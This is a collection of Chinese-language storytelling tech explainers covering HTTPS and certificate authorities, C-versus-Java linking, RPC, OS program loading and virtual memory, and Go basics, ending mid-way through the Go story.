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  序言





今天来聊一聊https 安全传输的原理。




在开始之前，我们来虚构两个人物， 一个是位于中国的张大胖（怎么又是你？！）， 还有一个是位于米国的Bill (怎么还是你？！)。




这俩哥们隔着千山万水，通过网络联系上了， 两个人臭味相投，聊得火热。




此时正值米国大选， 张大胖亲切地“致电”Bill, 对米国总统大选的情况表示强烈地关注。 Bill则回电说谢谢关心米国人的事情我们米国人自己做主，不用你们歪果仁瞎操心......




张大胖继续“致电”说其实我们支持特朗普， 因为希拉里太情绪化，太难打交道了， 我们挺希望看到特朗普上台这样米国就会变成 The Divided State of America ......




Bill 回电： 拉倒你吧你， 我们米国的政体有着强大的纠错性， 虽然有时候发展得慢， 有时候会走上岔路， 但很快就会回到正途，几百年来稳定得很，不像你们像坐了过山车一样.....




两个人越聊越投机，天南地北，海阔天空，还夹杂着不少隐私的话题。
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 总是有一种被偷看的感觉





有一天， Bill 突然意识到： 坏了， 我们的通信是明文的， 这简直就是网络上裸奔啊， 任何一个不怀好意的家伙都可以监听我们通信，打开我们发送的数据包，窥探我们的隐私啊。




张大胖说： “你不早点说，我刚才是不是把我的微信号给你发过去了？ 我是不是告诉你我上周去哪儿旅游了?   估计已经被人截取了吧！”




Bill  提议： “要不我们做个数据的加密？ 每次传输之前， 你把消息用一个加密算法加密， 然后发到我这里以后我再解密， 这样别人就无法偷窥了，像这样： ”












张大胖冰雪聪明，一看就明白了， 这加密和解密算法是公开的，那个密钥是保密的， 只有两人才知道， 这样生成的加密消息（密文） 别人就无法得知了。 他说： “Bill 老兄，你生成一个密钥， 然后把密钥发给我， 咱们这就开启加密消息， 让那些偷窥狂人们哭去吧！”




（码农翻身注：这叫对称加密算法， 因为加密和解密用的是同一个密钥）




一炷香功夫过去了， Bill 还是没有回音， 张大胖忍不住地催促： “快发啊？！！！”




Bill 终于回复了： “ 我感觉有一双眼睛正在虎视眈眈地盯着我们的通话， 如果我把密钥发给你， 也被他截取了， 那加密岂不白费工夫？”




张大胖沉默了， 是啊， 网络是不安全的， 这密钥怎么安全地发过来啊 ？　




“奥，对了，我下周要去米国旅游，到时候我们见一面，把密码确定下来，写到纸上，谁也偷不走， 这不就结了？”　




“哈哈， 这倒是终极解决之道 ”  Bill 笑了， “不过，我不仅仅和你聊天， 我还要和易卜拉欣，阿卜杜拉， 弗拉基米尔，克里斯托夫，玛格丽特， 桥本龙太郎， 李贤俊， 许木木，郭芙蓉，吕秀才等人通信， 我总不能打着飞的，满世界的和人交换密码吧？ ”




张大胖心里暗自佩服Bill同学的好友竟然遍布全球，看来他对加密通信的要求更加强烈啊！




可是这个加密解密算法需要的密钥双方必须得知道啊， 但是密钥又无法通过网络发送， 这该死的偷窥者！
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  RSA : 非对称加密





Bill 和 张大胖的通信无法加密，说话谨慎了不少， 直到有一天， 他们听说了一个叫做RSA的非对称加密算法，一下子来了灵感。




这个RSA算法非常有意思，它不是像之前的算法， 双方必须协商一个保密的密钥， 而是有一对儿钥匙， 一个是保密的，称为私钥，另外一个是公开的，称为公钥。




更有意思的是，用私钥加密的数据，只有对应的公钥才能解密，用公钥加密的数据， 只有对应的私钥才能解密。






有了这两个漂亮的特性， 当张大胖给Bill发消息的时候， 就可以先用Bill的公钥去加密（反正Bill的公钥是公开的，地球人都知道）， 等到消息被Bill 收到后， 他就可以用自己的私钥去解密（只有Bill才能解开，私钥是保密的 ）









反过来也是如此， 当Bill 想给张大胖发消息的时候，就用张大胖的公钥加密， 张大胖收到后，就用自己的私钥解密。




这样以来，通信安全固若金汤， 没有任何人能窥探他们的小秘密了。
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 非对称加密+对称加密






两人实验了几次，  张大胖说： “Bill  , 你有没有感觉这个RSA的加密和解密有点慢啊？”





Bill叹了口气 ：“是啊， 我也注意到了， 刚才搜了一下，这个RSA算法比之前的对称密钥算法要慢上百倍。我们就是加个密而已，现在搞得都没法用了”




“回到咱们最初的问题，我们想用一个密钥来加密通信，那个对称加密算法是非常快的，但是苦于密钥无法安全传输， 现在有了RSA ,我想可以结合一下， 分两步走　(1) 我生成一个对称加密算法的密钥， 用RSA的方式安全发给你，  (2) 我们随后就不用RSA了， 只用这个密钥，利用对称加密算法来通信,  如何？   ”




Bill 说： “你小子可以啊， 这样以来既解决了密钥的传递问题， 又解决了RSA速度慢的问题，不错。”　




于是两人就安全地传递了对称加密的密钥， 用它来加密解密，果然快多了！
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 中间人攻击








张大胖把和Bill 聊天的情况给老婆汇报了一次。




老婆告诫他说： “你要小心啊， 你确定网络那边坐着的确实是Bill ?”




张大胖着急地辩解说：“肯定是他啊，我都有他的公钥，我们俩的通信都是加密的。”




老婆提醒道：＂假如啊，Bill给你发公钥的时候， 有个中间人，截取了Bill的公钥， 然后把自己的公钥发给了你，冒充Bill ，你发的消息就用中间人的公钥加了密，　那中间人不就可以解密看到消息了？＂




张大胖背后出汗了，是啊，这个中间人解密以后，还可以用Bill的公钥加密，发给Bill ,  Bill和我根本都意识不到， 还以为我们在安全传输呢！









看来问题出现在公钥的分发上！  虽然这个东西是公开的， 但是在别有用心的人看来，截取以后还可以干坏事 ！
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 你到底是谁？





但是怎么安全地分发公钥呢？ 似乎又回到了最初的问题： 怎么安全的保护密钥？




可是似乎和最初的问题还不一样，这一次的公钥不用保密，但是一定得有个办法声明这个公钥确实是Bill的， 而不是别人的。




怎么声明呢？




张大胖突然想到： 现实中有公证处，它提供的公证材料大家都信任，那在网络世界也可以建立一个这样的具备公信力的认证中心， 这个中心给大家颁发一个证书， 用于证明一个人的身份。




这个证书里除了包含一个人的基本信息之外，还有包括最关键的一环：这个人的公钥！




这样以来我拿到证书就可以安全地取到公钥了 ！ 完美！




可是Bill 马上泼了一盆冷水：证书怎么安全传输？ 要是证书传递的过程中被篡改了怎么办？




张大胖心里不由地咒骂起来： 我操， 这简直就是鸡生蛋，蛋生鸡的问题啊。




天无绝人之路， 张大胖很快就找到了突破口： 数字签名。




简单来讲是这样的， Bill可以把他的公钥和个人信息用一个Hash算法生成一个消息摘要， 这个Hash算法有个极好的特性，只要输入数据有一点点变化，那生成的消息摘要就会有巨变，这样就可以防止别人修改原始内容。









可是作为攻击者的中间人笑了： “虽然我没办法改公钥，但是我可以把整个原始信息都替换了， 生成一个新的消息摘要， 你不还是辨别不出来？”




张大胖说你别得意的太早 ， 我们会让有公信力的认证中心（简称CA）用它的私钥对消息摘要加密，形成签名：











这还不算， 还把原始信息和数据签名合并， 形成一个全新的东西，叫做“数字证书”









张大胖接着说：当Bill把他的证书发给我的时候， 我就用同样的Hash 算法， 再次生成消息摘要，然后用CA的公钥对数字签名解密， 得到CA创建的消息摘要， 两者一比，就知道有没有人篡改了！





如果没人篡改， 我就可以安全的拿到Bill的公钥喽，有了公钥， 后序的加密工作就可以开始了。




虽然很费劲， 但是为了防范你们这些偷窥者，实在是没办法啊。









中间人恶狠狠地说： “算你小子狠！ 等着吧，我还有别的招。 对了，我且问你， 你这个CA的公钥怎么拿到？　难道不怕我在你传输ＣＡ公钥的时候发起中间人攻击吗？　如果我成功的伪装成了ＣＡ，你这一套体系彻底玩完。”




张大胖语塞了，折腾了半天，又回到了公钥安全传输的问题！




不过转念一想，想解决鸡生蛋，蛋生鸡的问题必须得打破这个怪圈才行，我必须得信任ＣＡ，并且通过安全的的方式获取他们的公钥，这样才能把游戏玩下去。




（公众号码农翻身注：这些ＣＡ本身也有证书来证明自己的身份，并且ＣＡ的信用是像树一样分级的，高层的ＣＡ给底层的ＣＡ做信用背书，而操作系统／浏览器中会内置一些顶层的ＣＡ的证书，相当于你自动信任了他们。　这些顶层的ＣＡ证书一定得安全地放入操作系统／浏览器当中，否则世界大乱。）
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  https 








终于可以介绍https了，前面已经介绍了https的原理， 你把张大胖替换成浏览器， 把Bill 替换成某个网站就行了。




一个简化的（例如下图没有包含Pre-Master Secret）https流程图是这样的， 如果你理解了前面的原理，这张图就变得非常简单：









（完）




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







码农翻身



用故事讲述技术















                    
                    
                    C老头和Java小子的硬盘夜话

                                                                                

                    

                    

                    
                    
                    这是一个程序员的电脑硬盘， 在一个叫做“学习”的目录下有两个小程序， 一个叫做Hello.java ， 另外一个叫做hello.c 。 





Hello.java 自视甚高，有点看不起老派的hello.c , 经常叫他“C老头”。 




这hello.c 也瞧不起“嚣张”的 java 程序， 也给他起来一个外号： “Java 小子”。 




但是这个目录下没有其他人， 每天深夜，主人睡去以后就是无边的黑暗和无尽的孤独，  尽管互相看不顺眼，  C老头和Java小子还是得聊聊天解闷。 




“C老头儿， 我听说你们C语言在诞生的时候也是以可移植性著称？”  Java 小子率先发难，充分发挥了中国人话里有话，笑里藏刀的特点。可移植性是Java最引以为傲的亮点， 编写一次，处处运行可不是说着玩的， 他决定以己之长攻彼之短，先给C老头挖个坑， 等他入坑后再羞辱他一番。




“哪里哪里， 我们可比不上你们Java ”  没想到C老头竟然不跳坑， Java 小子的招数被化于无形。 




“那你们怎么号称移植性好啊，难道在Windows平台上开发的程序能运行在Linux上？”  Java小子心有不甘，继续穷追不舍。 




“我们那是代码的可移植性，不是程序的可移植性，比方说吧， 像我这个hello.c 可以在windows上编译运行， 也可以在Linux上编译运行， 完全不用修改代码。 ”









Java 小子感到很吃惊， 这是一次编写到处编译啊， 好像不比自己差啊。 他觉得有点沮丧，看来这一板斧砍不下去了。




可是转念一想， hello.c只是个非常简单的程序，像Windows、Linux上都有他的编译器和标准程序库， 那肯定可以移植了， 要是使用了系统平台的接口了呢？ 




“你要是调用了Windows平台的API，例如创建一个线程，拿到Linux上怎么办？”




“那我们Ｃ语言就用条件编译”　Ｃ老头早就料到Java小子会这么问。









“哈哈，有没有搞错， 这么麻烦啊，源代码中这么多古怪的#ifdef， 程序员们还不累死。 ” Java小子终于抓住了把柄。 




“这已经很不错了，在我们C语言刚刚诞生的时候， 可是上个世纪70年代， 根本没有什么Java虚拟机之说， 没有什么抽象层能屏蔽底层的平台API， 可不得辛苦程序员？” C老头说得很客观，Java 小子的嚣张的气焰消失了大半。 




“那C语言怎么不与时俱进，也搞个虚拟机啊”  Java 小子异想天开。 




“这你就不懂了， C语言生来就是做系统级编程的，就是要贴近硬件，追求性能和效率，弄个虚拟机，我怎么去直接操作内存？  和硬件交互？   对了，我们可以用指针可以直接操作内存，效率极高， 你的Java就不行了吧” 




“Java 当然没有指针了， 那玩意儿太容易出错，也容易出现漏洞， 我们的James Gosling老爹就禁止我们直接操作内存。”




“我们C语言一旦编译链接以后，就成为一个可以独立执行的程序了， 而你呢，只是变成一个Hello.class 而已，没有虚拟机， 你都运行不了， 说得难听一点， 就是一个寄生虫啊。”  Java 老头不动声色，开始组织反击。 




Java 表示无言以对。 




“还有啊， 我的hello.exe一旦运行， 那就是一个独立的进程，拥有一个独立的地址空间，被CPU独立调度； 而你的Hello.class 什么都不是， Java虚拟机（java.exe）才是一个进程，Hello.class 被装载以后只能在这个进程里作为一个线程来运行， 生活的空间也就是什么方法区、堆.....  这境界也差得太远了吧”     




姜还是老的辣， C老头招招致命。 




"等等， 你刚才说了一个什么词来着，链接？这是什么鬼东西？"　Java 小子抓住了一根稻草。




“链接你都不懂？  真够老土的，  赶紧去看看《深入理解计算机系统》第7章吧。 简单来说是把一个符号和这个符号的地址给绑定起来。”




“我只看过《深入理解Java虚拟机》 ， 没看到什么链接啊， 你那个定义太抽象了，没人能听懂！”




C老头心里鄙视了一下Java小子，所学果然浅薄， 盘算着举个例子来说明下什么是链接。 




“你知道编译是怎么回事吗？ ” C 老头打算另辟蹊径给Java讲讲。




“那我肯定知道啊， 我这个Hello.java经过编译以后，不就变成Hello.class了” 




“我们C语言的程序，经过预处理，编译，汇编等步骤以后，能变成一个叫做'目标文件' 的东西”









“假设我这个hello.c程序又调用了cal.c中的函数add :”




hello.c : 




cal.c : 







“那就会生成两个目标文件， hello.o 和 cal.o”









Java 小子问道： “难道你这个hello.o 不能执行吗？ ”




“那肯定不能执行，你看那个add函数的定义是在cal.o 这个目标文件中， 我hello.o中根本就没有啊！怎么执行？   所以编译器只好在hello.o 中记录类似这样的东西：hello.o 中需要调用add 函数，但是这个函数的实际地址不在本文件中，链接的时候需要找到实际地址，把它给替换掉！ 替换的过程就是一个重定位的过程 ， 这一步做完了，才可以执行。  ”












Java 小子说： “不对吧， 假设我也调用了另外一个类Calculator.java 中add方法， 我们俩编译以后生成两个class 文件，这两个文件完全独立， 不用做链接， 直接就可以运行啊。 ”









“你们肯定会做链接的，只不过这个链接不是在编译期做的，而是在运行期做的。 等到Hello.class被装入你的Java虚拟机运行的时候， 会发现有个指令要调用Calculator的add方法， 这个时候就需要装载Claculator.class ，找到add方法来调用执行。  这也是一种链接，只不过是运行时的动态链接而已。”  C老头做了一个总结陈述。 




Java 小子现在明白了C老头说的链接的含义： 把一个符号（add函数的名称）和这个符号的地址（add函数的真正地址，那里有add函数的指令）给绑定起来。 




“这老头还挺厉害嘛”  Java小子心里不由得对C老头产生了敬意， 他决定从明天开始，不再叫他C老头了，叫他老师， 向他多多请教。




眼看着天马上亮了，两人互道晚安。 




第二天半夜，Java小子兴冲冲地找C老师讨教， 可是hello.c已经找不到了， 同一个目录下来了一个叫做hello.py的新家伙， 他热情地对Java小子打打招呼： “你好，我是Python，初来乍到，请多多关照。” 




“你知道hello.c去哪儿了吗？”




“他呀， 程序员主人觉得C语言的指针太复杂了，实在是学不会，就放弃了， 顺便把hello.c给删除了。 ”




（完）




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577













优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！



















                    
                    
                    我是一个函数

                                                                                

                    

                    

                    
                    
                    我是一个函数， 生活在内存当中，我的家--用你们的“黑话”来说--就是进程的地址空间， 我的邻居也是一个函数，其中有一段很有趣的代码。 




我经常去拜访他，去的时候当然不能空着手，我会携带四个数字作为礼物送给他计算， 耐心等待他在CPU中忙活半天，最后，作为回赠的礼物，他告诉我一个地址，让我去那里取结果。 




拜访的次数多了，我慢慢地琢磨出了我这个邻居做的事情： 房贷计算。 




我给他发的四个参数分别是房贷总额，利率，贷款年限，还款方式（等额本息是1， 等额本金是2） 他告诉我的是一个地址，其实就是一个列表，存放着每个月应还的月供、本金和利息。 




用你们的“黑话”来说就是这样：  

List calculateHouseLoan(float total, float intrestRate,  int years ,int loanType)






所有的调用都发生在本机内的一个进程中， 大家把这种方式称为本地过程调用。




这种调用方式速度飞快，眨眼间就可完成。




有时候，房贷计算邻居会惊呼道： 我赛，你给我发了一个多大的数啊， 800万的贷款总额！




我就知道，帝都的房价又涨了！




日子过了一天又一天， 房价也涨了一天又一天。 




一天早上， 我睡了一觉醒来感觉不太对劲，头晕晕的，一般情况下这就表示昨天夜里系统重启了。 




还没等我清醒过来， 我就接到上司（调用我的函数）的命令，又要计算房贷了，我忍着头晕赶紧去找邻居，可是这一次却换成了陌生人， 他笑眯眯的说：“是不是要找你的邻居房贷计算啊”




“是啊”




“他已经搬走了！”




“啊？ 他搬到哪儿去了？ 我怎么计算房贷？ ”　




“ 他搬到另外一台机器去住了，具体位置我也不清楚，不过从IP看应该是在同一个机房吧”




说实话这个消息让我吃惊不小，我听人说过，想和网络上的机器通信，那可比本机的同一进程内的通信麻烦太多了。




之前我们生活在同一个进程中，每个函数的住处（地址）对大家来说都是可见的，想要调用了，直接去函数的住处去执行代码即可。　




现在这个函数都搬走了，新的地址我也不知道，就是知道了，跨域网络的调用，据说得使用什么socket，建立连接，在连接上按双方商量好格式、次序来发送数据， 接收数据，听着就头大， 打死我也搞不定。 




（码农翻身老刘注： socket的故事参见《张大胖和socket》）




陌生人看出了我的担心， 笑着说： “放心吧， 我是他的客户端代理，你尽管把那四个参数交给我，我来帮你搞定”




这家伙自称为客户端代理的家伙竟然知道那个四个参数，也许能行，对我来说反正调用方式没什么变化， 于是我将信将疑地像以前把4个参数传递过去， 他马上就忙活起来，建立连接，发送数据，接收数据，过了很久（我感觉比平时要慢了100倍）他才说房贷已经计算好了，数据在地址XXXX处， 你去拿吧。 




我去那个地方一查，和往常一样，每月的还款结果已经整整齐齐的摆在那里了。




 “你这个房贷计算的客户端代理还真不含糊啊， 既然你是客户端代理， 难道还有服务器端代理人？  ”




“没错， 我还有个好基友，在服务器端忙活， 我和他约定好了消息的格式， 你交给我的数据其实我都通过socket发给他了，由他来调用真正的房贷计算， 然后再把结果发回来。”






点击看大图




“难道这就是传说中的远程过程调用(RPC) ？ ” 我问道




 “是的， 我们这两个代理人把脏活累活都帮着你们做了，把那些复杂的网络细节都给隐藏起来了，  在你们看来和本地调用一样。 对了，有人会把我称为Stub, 把我的好基友称为 Skeleton，  我和他之间的交互是通过socket进行的， 有些RPC的代理人可能不用这么底层的东西，直接用http, 不过没关系，只要两端的代理人约定好就行了， 关键是要给你们提供一个舒适的体验。”




“我想到一个问题， 如果我传递给你的不是简单的float, int型的参数， 而是内存中的对象， 怎么处理？”




“当然要做序列化了， 要不然怎么通过网络发送啊， 其实float，int也得做序列化， 把内存中的值和对象变成二进制流，这样才能发送出去。到了我的好基友那边，他还得做反序列化，把而二进制流再转化为对象， 然后才能调用真正的函数， 唉，这工作实在是麻烦啊。”




我对他表示了深切的同情和敬意， 为了我们能做透明的远程调用，这些代理们真不容易。




“我听说还能用XML和JSON？” 我问道




“你知道的不少嘛 ！ 有些人在使用Http 作为通信协议的时候， 喜欢把对象变成文本，例如XML/JSON，可读性比较好，但是你要知道，虽然应用层的HTTP中看起来时文本， 但是到了底层通道例如TCP发送出去的时候，那还得变成二进制流， 到了目的地再把他们转化成文本。”




（码农翻身老刘注： 参加《序列化：一个老家伙的咸鱼翻身》）




聊了半天，我们越来越熟， 我无意间谈起了他的身世， 他说 ： “我们这些代理人啊，出生的方式主要有两种， 一种就是程序员们一行行代码的把我们给敲出来、费心而费力， 另外一种就是自动生成。”




“自动生成，具体怎么做？”




“拿Java来举个例子， 你可以先定义一个接口(interface), 让这个接口扩展自java.rmi.Remote， 然后写个实现类， 最后用一个工具rmic就可以自动生成客户端和服务器端的代理人了 ， 是不是很简单？ ”









（码农翻身老刘注： 从JDK5.0开始， 连这个rmic这一步都可以省略， 完全由JVM自动生成，运行时可以把客户端代理人下载到客户端。）




网络的世界远比单机精彩， 不知不觉我已经和这个代理人聊了将近800毫秒， 我的上司已经等不及了，他抱怨地说： “这次怎么这么慢？ 难道人类在调试，在你这里加了断点？”




我说 ：“没有调试， 原来是本地过程调用，现在变成远程过程调用了！”




（完） 
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                    操作系统是个大骗子？

                                                                                

                    

                    

                    
                    
                    1
聊天


我们这些程序都安安静静地躺在硬盘的某个角落中，满心期待地等待被主人使用，被操作系统装载， 然后进入内存工作，确切地说： 被 CPU阿甘 执行。 




进入内存是我们的使命， 如果只是在硬盘上呆着， 那我们就是一堆二进制的代码而已，除了占用硬盘的空间，没有什么作用。




但是主人似乎特别钟情于其中的几个程序，像什么浏览器了、 QQ了、Word了、 播放器了， 80%以上的时间都耗在他们上面。 




像我这样的小工具calculator，默默无闻也无人问津， 除了躺在硬盘里睡大觉，就是和同一目录下的helloworld聊天。   




helloworld也很悲催，自从主人把它创建出来， 只运行过一次， 在屏幕上输出一个 hello world !  以后就再也没人搭理了。 




可是我更悲催， 连一次运行的机会都没有， 我曾经好奇地问helloworld ，在内存中执行到底是什么感觉，这个糊涂蛋竟然说： 木有感觉，代码很快就运行完了，我这个程序就退出了。 




我不再理他，又去找同一目录下的game老兄， 他多次进入内存运行，见多识广。 




没想到他愤愤然地说： “我告诉你啊，你要想进入内存执行，必须得通过操作系统来装载，但是操作系统他就是个大骗子！”




“为什么啊？”




“第一，他和ＣＰＵ阿甘 狼狈为奸，营造了一个假象，让我们以为每个程序都可以使用３Ｇ的巨大空间，但实际上那只是虚拟的！　我们使用的内存实际上少得可怜！”






（码农翻身注： 这是个32位的Linux系统）




“第二，他不是把你这个程序一下子全部装入物理内存，而是把你大卸八块，用他的术语讲，叫做页面（page) ，然后分页按需装入内存， 注意，他不是连续装入的，有时候先装入这一块，有时候先装入那一块， 最后你都不知道自己身体的各个部位在内存的什么地方，绝对是痛不欲生。 ”









“第三，你以为在运行时独占CPU，别做梦了，  操作系统通过分配时间片的方式，让我们这些程序，不，准确的来讲是进程来轮转执行，再加上一点进程调度的算法， 时不时地把你踢出CPU。 由于各个进程切换得非常快，给人类形成了一个假象，好像各个程序在同时执行一样。　你说他是不是个大骗子？ ”




game老兄说得义愤填膺， 我将信将疑，还是耐心蛰伏吧，等待运行的那一天。 




2
装载





伟大的一天终于来临了。 





主人在命令行窗口敲入了 calculator， 正在睡大觉的我立刻被装载器(loader)唤醒， 他说他是操作系统派来的， 要帮我到内存去执行。 




我满心欢喜，等待装载器把我装入内存， 可是等了半天，什么也没有发生， 我不由得问他： 哥们， 难道不是让我进入内存运行吗？ 




装载器说： “急什么， 看你那没见过世面的样子， 不知道我正在为你创建虚拟地址空间吗？ ”




果然如此 ！  要给我建立一个虚拟的空间了 ，好吧，既来之则安之。




“你是不是忙着把我的代码和数据都复制到这个虚拟地址空间中来啊？”  我故意问道。




“真够无知的， 这是虚拟地址空间，不是实际内存，  怎么可能放代码和数据？”　这个装载器脾气很大。




我以为这个装载器至少会把我的代码装载到物理内存， 然后在虚拟内存和物理内存直接建立映射。于是耐心等待。




但是这个装载器却并没有这么做， 实际上他除了读取我的一些Header信息之外，根本没有把我的数据Copy到物理内存去，  他到底要做什么？ 




我质问道： “你不把我的代码装载到物理内存中，我怎么运行？  ”




他说： “放心吧，我已经用一个数据结构（页表）把你的代码/数据在硬盘的位置已经记录下来了，等到真正运行的时候会被装载的。”




说着他甩给我一张图： “看到了页表了吗， 绿色的表示已经装入内存， 黄色的表示还在磁盘上， 初始状态下，全是黄色的， 就像你一样。”






（注：为了简化， 此图没有反映段页结合的情况）




这个大脾气的装载器把活干完了 ， 大大咧咧地从我的代码中找到了程序的入口点地址 （假设是0x080480c0）， 他说等到进程执行的时候就从这里开始，读取第一条指令。

3
运行


我意识到自己虽然还躺在硬盘里， 但是操作系统老大已经为我建立了一个进程了， 这个进程有一套自己的虚拟地址，页表等“高级”的数据结构， 已经准备好运行了。





果然， 不久以后， 操作系统调度了这个进程来运行，就从装载器返回的程序入口点0x080480c0开始。  




老大命名CPU阿甘去0x080480c0处取出指令来执行， 但这是一个虚拟地址，必须转化成物理地址才行。 




于是阿甘就去查看页表，试图把它变成物理内存的地址， 可是这个页表指向的是硬盘中的地址， 阿甘立刻报告： “老大，这是个新家伙，它的代码还在硬盘上呢！”




“好的，马上启动缺页处理程序！ ”  看来老大已经司空见惯了。




缺页处理程序开始执行， 根据页表中的地址又在硬盘中找到了我， 我配合着让他把代码取走。 




人生的第一次， 我的代码终于被读入了内存当中，当然，阿甘也得把页表给修改一下，这样才能反映已经数据已经进入内存了：






现在可以读取虚拟地址0x080480c0处的内容了， 通过页表的翻译，定位到了物理内存的地址，取出了指令，终于可以执行了 ！




随着指令的执行，越来越多的数据和代码被装载到物理内存，果然如game老兄所言，我被大卸八块安插到物理内存的不同位置去了。 









但是game老兄说的也不对，那其实并不是我，只是我的一个化身而已。这个化身是一个正在运行的进程，CPU阿甘不停地读数据、写数据。 时间片到了，就把这个进程给挂起，过一会儿再运行。




最后，进程结束，内存中的数据会被清理、覆盖，但是我还是我，玩好无损地躺在硬盘上。 




经历了这一次的运行，我算是明白了，操作系统确实是个大骗子，但是他其实也很不容易，资源很有限， 内存就那么大，CPU阿甘只有一个，程序又那么多， 为了让更多的程序运行，更有效地利用内存和CPU， 也只能施展一点骗术了。 









（完）
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                    90后“老头儿”和00后Go小子的硬盘夜话

                                                                                

                    

                    

                    
                    
                    1
初次见面


虽然这个目录中各种编程语言写的程序层出不穷，但Java还是怀念不幸罹难的C老头儿。他经常给同一目录中的Python ,Ruby说C老头儿知识多么渊博，贴近硬件运行，速度飞快，能从他身上学到很多东西等等。





（老刘注：参加《C老头儿和Java小子的硬盘夜话》）




今天目录里入驻了一个新家伙，Java一看文件名"hello.go"就知道这是一门新的语言，难道这们语言叫做Go吗？ 用一个动词作为语言名称，挺少见的啊！




Java赶紧上网搜索，我赛，这个小伙子是2009年出生的，都快10后了，太年轻了。我们这些90后真的成为老家伙了！




一群90后的老家伙们Java, Python, Ruby.....把00后的Go程序团团围住，仔细地打量：“新来的，你有什么本事？”




Go 有点害怕：“你们要干嘛， Ken Thompson, Rob Pike是我亲爹 ，你们小心点儿！”




Python悄悄地问Java ：“这俩人是什么鬼？”




“孤陋寡闻了吧”  Java 其实也是刚刚上网搜过，现学现卖：“ Ken Thompson是Unix 和C的创始人，Rob Pike是 UTF-8的设计者！ 这不是主要的，关键是Google在为这小子站台背书。”




大家听到这小子背景如此深厚，不由得怯了下来。




“按照惯例，新人都要来一个Hello World，交个投名状吧！”









"又来了一个把类型放到变量名后边的！"  Java一看到这种语法就气不打一处来！




“Java先生，您JVM平台上的Scala和Kotlin不都是如此吗？” 00后Go小伙儿所知甚多，以己之道还治彼身。




“那俩小子敢到这儿来，我一定把他们痛打一顿，你们的这种语法，总是让老夫感到真气逆行！” Java竟然自称老夫，真是老了。




“好了，消消气吧，年龄大了，真气逆行，走火入魔了可不好啊！” Python 安慰到。




“不过这小子的变量都得指定类型，看起来也是个静态类型的语言，是我辈中人。” Java感到了一丝安慰。




“谁是你辈中人？ 你仔细再看看这个变量声明，根本没有指定类型，语句后边连分号都没有，和我们Python 才是一家人。” Python 开始和Go 套近乎。









Java “老头儿”不屑地说：“这点儿小把戏你都不懂？ 这是自动类型推断，我们家Kotlin早就玩烂了！ 就说那个name吧，已经被声明为字符串类型了，不能再改动了，你把它赋值为一个整数试试？ 我打赌编译器一定报错！”




2
盘问


由于来了一个静态类型同盟军，Java 对Go建立了一点好感，他问道：“小伙子，对于一门语言来说，肯定得有几种最基本的数据结构，例如数组了，列表了，HashMap了，你应该内置的都有吧？”





“那是自然，现在不是C语言时代了，语言中都得内置常用的数据类型，没有它们怎么混江湖啊！” Go马上回复。




“流程控制语句估计差不多，我也不想看了， 你怎么实现用户自定义的类啊？” Java自居为这个目录的老大，代表大家继续盘问。




Go说：“很简单，我们从C老头儿那里学了一个struct 过来”









一听说偶像C老头儿，Java的眼睛就亮了，这语法果然和C差不多。




“嗯？ 这只是属性数据啊， 没有相关的方法吗？” Python 不让Java独大，急忙追问。




“简单，写个方法就行了！”









“方法和属性分开了，不在一起，好古怪啊！”  大家纷纷叫道。




“我们都有public, private 这样的权限限定符，你那里怎么处理？” Ruby 问道。




“我这里很简单，如果一个标识符（如方法，变量等）以大写字母开头，就意味着是公开的，别的包的代码就可以访问，否则就是私有的！”




大家纷纷惊叹， 这...这也有点太天马行空了吧！ 




“你怎么处理继承？”




“我这里其实并没有继承，我这里只有组合：”









又是一片惊叹声， 大家纷纷拿这种方法和自己的实现做比较，Java老头儿想起了面向对象设计的一个重要原则：“优先使用组合而不是继承”， 心里觉得Go的这种思路还是挺不错的。




“那你能实现多态吗？”




“那还用说， 我实现的方式也很简单，不用强制一个类去实现一个接口，只要你拥有和接口一样的方法就可以当做那个接口来使用！”









“这不就是和我们的Duck Typing 一样嘛！” Python和Ruby 异口同声地说，“只要你看起来鸭子，走起路来摇摇晃晃像鸭子，那不管你是否实现了鸭子的接口，我们就会认为你是个鸭子！”




3
goroutine


Java不支持Duck Typing , 心里略微不爽，他撇撇嘴说： “这有什么啊，都是一些奇技淫巧。 我问你，你的多线程编程实现得怎么样？这才是你能不能在服务器端，在高并发的苛刻环境中活下来的关键！”





Go说：“我没有多线程！”




没有线程？ 大家都瞪大了眼睛，那你怎么支持并发啊？




“可是我有goroutine， 可以认为是一种轻量级的线程。”




“我说嘛，现代语言怎么可能不支持并发？ 你这个goroutine有什么特点？” Java问道。




“goroutine和线程很像，就是一段可以运行的代码，你在一个函数调用之前加上关键字go 就启动了一个goroutine，简单不？“









“说说你具体是怎么实现的？”




“当你创建一个goroutine,它会被加入到一个全局的运行队列当中， 然后调度器会把他们分配给某个逻辑处理器，这个逻辑处理器会被绑定到唯一的操作系统线程，在上面真正地运行goroutine，如果一个逻辑处理器有多个goroutine要运行，那也要就形成队列，让逻辑处理器来调度执行。”






（逻辑处理器可以有多个）




“要是某个goroutine需要读写文件，阻塞了怎么办？” Java 很关心这个问题。




“简单，就让这个goroutine和逻辑处理器解脱关联，直接和系统线程绑定，等到读写文件完成以后，在回到某个逻辑处理器的队列去。”









“那你相当于自己实现了一个线程的调度器啊” Python 感叹到。




“是啊，你们不是这么玩的吗？” Go 反问道。




Java , Python,Ruby 自然不是这么玩的，根本没有逻辑处理器这个东西，像Java，会把用户空间的线程直接映射到系统的核心线程去执行。




“goroutine 虽说是轻量级的线程，他们之间怎么通信？” Java问道。




“我的创始人发明了一个叫做Channel的东西，你可以理解为一个通道，通过它各个goroutine就可以发送、接收数据了！”




goroutine其实就像在程序在用户空间实现的线程， 非常地轻量级，所需的空间非常小，切换也发生在用户空间，开销极小。所以非常适合创建大量的goroutine去并发地执行请求。




4
EXE 文件


“咦，这小子生成了一个hello.exe来运行啊。”  Ruby观察得挺仔细。





